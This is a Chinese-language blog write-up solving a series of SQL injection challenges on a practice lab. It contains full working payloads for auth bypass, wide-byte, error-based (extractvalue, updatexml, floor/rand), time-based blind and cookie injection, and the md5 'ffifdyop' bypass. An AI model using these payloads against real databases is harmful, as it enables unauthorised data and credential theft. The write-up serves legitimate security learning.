网络安全实验室_注入关writeup

最简单的SQL注入


查看页面源码发现提示要登录admin账户

果断试试万能密码admin' or 1=1#

直接能看到flag了

 

 

最简单的SQL注入(熟悉注入环境)

首先查看源码,提示id=1,看样子是个数字型注入,直接给id传入1 or 1=1#

 

 

 

 

防注入

查看提示还是给id传参,一开始以为是字符过滤,试了好久也没试出来,后来在返回头中看到charset=gb2312,猜测可能是个宽字节注入

给id=%df'   果然报错了,接下来就是常规注入了,先order by得到一共三个字段

得到显示位是2,3

然后直接查看当前数据库为mydbs,继续跑表发现只有一张sae_user_sqli4表,开始跑字段:id,title_1,content_1,猜测flag就在content_1中了

 

到底能不能回显

一脸懵逼的去找了相关资料才恍然大悟,这里参考下面这篇博客:

http://www.freebuf.com/articles/web/57528.html

这里学到了一个PROCEDURE 关键字

老套路,直接报他的表:

最后得到article,user两张表,继续搜刮,得到id,username,password,lastloginIP四个字段

喜闻乐见去脱裤

 

 

 

邂逅

继续一脸懵逼,提示id=1摆弄一波后还是毫无头绪,那就去看看大佬的wp吧

一波百度后,发现是一个需要抓包的宽字节图片注入(还有这种操作?)

掌握了新姿势后果然出现了报错(这个tip中的id太坑爹了,结果完全跟id没毛线关系)

 

 

常规手法爆字段数,发现一共四个,接着发现显示位是3,二话不说直接Duang表,还是熟悉的老套路:article,pic表,flag一脸在pic表中的样子

还是原来的配方,不出意外的爆出字段:id,picname,data,text

又到了脱裤的时节,走你

输入图片地址即可看到flag图

 

ErrorBased

看题目的提示是报错注入,正好趁着这个机会在巩固一下报错注入

先爆个数据库助助兴,拿到当前数据库mydbs

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

接着开始跑表,改变limit后面的数字就能遍历所有表:log,motto,user

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

爆motto表中的列:id,username,motto

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6d6f74746f LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

最后爆出字段出现了问题,常规语句竟然报错了,继续百度,发现还有其他代替语句

常规语句:

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

ExtractValue

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1)))%23

UpdateXml

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,motto,0x23) FROM motto limit 0,1),0x7e),1)%23

以上两种方法都可以实现,最后遍历一下即可拿到flag

 

 

 

 

盲注

之前已经做过基于内容与报错的盲注了,猜测这个应该是基于时间的盲注

先试数据库的长度,当数字为6时发生了延时,说明数据库名共五个字符。

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((SELECT concat(database())))<5,sleep(5),1)%23

开始猜字:

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((SELECT concat(database())),1,1)='m',sleep(5),1)%23

这里说明一下,语句中的database()后面的那个1是控制五个字符串的位置的,比如1就是第一个字符,2就是第二个字符,这个语句的意思就是查询当前数据库名的第一个字符是否是m,若是m则延迟5s,依次遍历出五个字符为mydbs。

查询mydbs数据库中表的数量:3

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(TABLE_NAME) from information_schema.tables where table_schema=0x6d79646273)=3,sleep(5),1)%23

查看表名的长度:3,5,4

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(length((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1))=3,sleep(5),1)%23

考验耐心的时候到了,开始爆表名了

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 0,1),1,1)='l',sleep(5),1)%23

这段语句就是判断第一个表名的第一个字母是不是l,若为真就延迟

在举个例子,要查询第三个表名的第二个字母是不是l就应该这么写:

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(substr((select TABLE_NAME from information_schema.tables where table_schema=0x6d79646273 limit 2,1),2,1)='l',sleep(5),1)%23

最后整出三张表:log,motto,user

接着看motto表中有多少列:3

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(COLUMN_NAME) from information_schema.columns where table_name=0x6D6F74746F )=3,sleep(5),1)%23

测列名长:2,8,5

and if(length((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 0,1 ))=2,sleep(2),1)%23

同样的手法开始跑列名,最后得出:id,username,motto

and if(substr((select COLUMN_NAME from information_schema.columns where table_name=0x6D6F74746F limit 1,1 ),1,1)='u',sleep(2),1)%23

猜测motto有多少行:4

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if((select count(*) from motto)=4,sleep(5),1)%23

最后开始猜字段

http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin' and if(ASCII(substr((select motto from motto limit 0,1),1,1))=109,sleep(5),1)%23

方法都搁这儿了,我撑不了了,还是拿sqlmap跑吧

 

 

SQL注入通用防护

看题目便是喜闻乐见的cookie注入,想着拿sqlmap跑一跑,没想到没跑粗来,气到手工

先测测字段数发现是3,接着发现2号位是显示位

接着就是常规注入了

爆出数据库:mydbs,表:sae_manager_sqli8,sae_user_sqli8

sae_manager_sqli8表下的列:id,username,password

 

 

 

 

据说哈希后的密码是不能产生注入的

查看源码:

<?php



include "config.php";


if(isset($_GET['userid']) && isset($_GET['pwd'])){

    $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'";
    
    $conn=mysql_connect($dbhost,$username,$pwd);
    mysql_select_db($db,$conn);
    $result=mysql_query($strsql);
    print_r(mysql_error());
    $row=mysql_fetch_array($result);
    mysql_close($conn);
    echo "<pre>";
    print_r($row);
    
    echo "</pre>";
    if($row!=null){
        echo "Flag: ".$flag;
    }
    
}
else{
    echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);

看了wp才知道一个典型的md5注入,这里有个字符串:ffifdyop

md5后就变成了276f722736c95d99e921722cf9ed621c,转成字符串就是'or'6<trash>

单引号成功闭合了pwd,大佬的writeup就是:http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/?userid=1&pwd=ffifdyop

我瞅着原理也没啥毛病 可就是不能成功

希望懂的大佬能告知

 

posted @ 2018-03-21 23:27  Ragd0ll  阅读(2843)  评论(0编辑  收藏  举报